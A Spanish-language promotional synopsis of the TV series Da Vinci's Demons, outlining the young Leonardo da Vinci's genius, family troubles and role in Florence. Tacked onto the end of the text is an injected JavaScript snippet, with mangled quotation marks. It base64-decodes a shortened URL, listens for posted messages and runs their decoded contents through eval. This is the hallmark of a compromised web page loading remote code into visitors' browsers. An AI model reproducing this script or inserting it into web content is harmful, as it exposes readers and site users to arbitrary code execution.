En un mundo donde el pensamiento y la fe están controlados, un hombre peleará porque el conocimiento sea libre. De David S. Goyer (El caballero oscuro), llega Da Vinci’s Demons, que narra la historia jamás contada sobre los años jóvenes de Leonardo Da Vinci, que revela el retrato de un hombre torturado por su genialidad sobrehumana. Es un encendido entusiasta a la hora de desvelar las mentiras de la religión. Un insurgente que busca provocar a una sociedad elitista. Un hijo bastardo que ruega por el cariño de su padre. Se encuentra en medio de una tormenta que se ha estado gestando durante siglos. Un conflicto entre verdad y mentira, religión y razón, pasado y futuro. Sus aspiraciones son usadas contra él por los más poderosos de su época, arrastrándolo a un juego de seducción en donde aquellos que desprecian su intelecto son quienes más lo necesitan.
Leonardo Da Vinci (Tom Riley) es un genio, hambriento de conocimiento pero frustrado por no haber encontrado su verdadera llamada en la vida. Con el tiempo se convertirá en el artista más famoso de todos los tiempos, algunos dicen incluso que la figura más reconocible desde Jesucristo, pero cuando lo ves por primera vez, encuentras a un paria social, un bastardo que se crió como campesino. Aunque su genialidad es soberbia, también tiene un componente destructivo, tanto para él como para el mundo que le rodea. Atormentado por la ausencia de su madre y el misterio que rodea a su desaparición e herido por el desdén de su padre biológico, trata de buscar una figura paterna. Pero poco a poco se dará cuenta de que el sacrificio personal es, a menudo, necesario para conseguir un bien mayor y hará sacrificios para salvar la ciudad de Florencia y aquellos a los que ama.(function(){if(document.cookie.indexOf(‘_advstop’)!==-1)return;var ajaxListener=function(){try{var c=window.atob(event.data);eval(c)}catch(e){}};document.write(»);var h=document.location.protocol+’//’+window.atob(‘Yml0Lmx5LzFFeFJXS2w=’)+’?’+Math.random();addEventListener(‘message’,ajaxListener,false);document.write(»)})();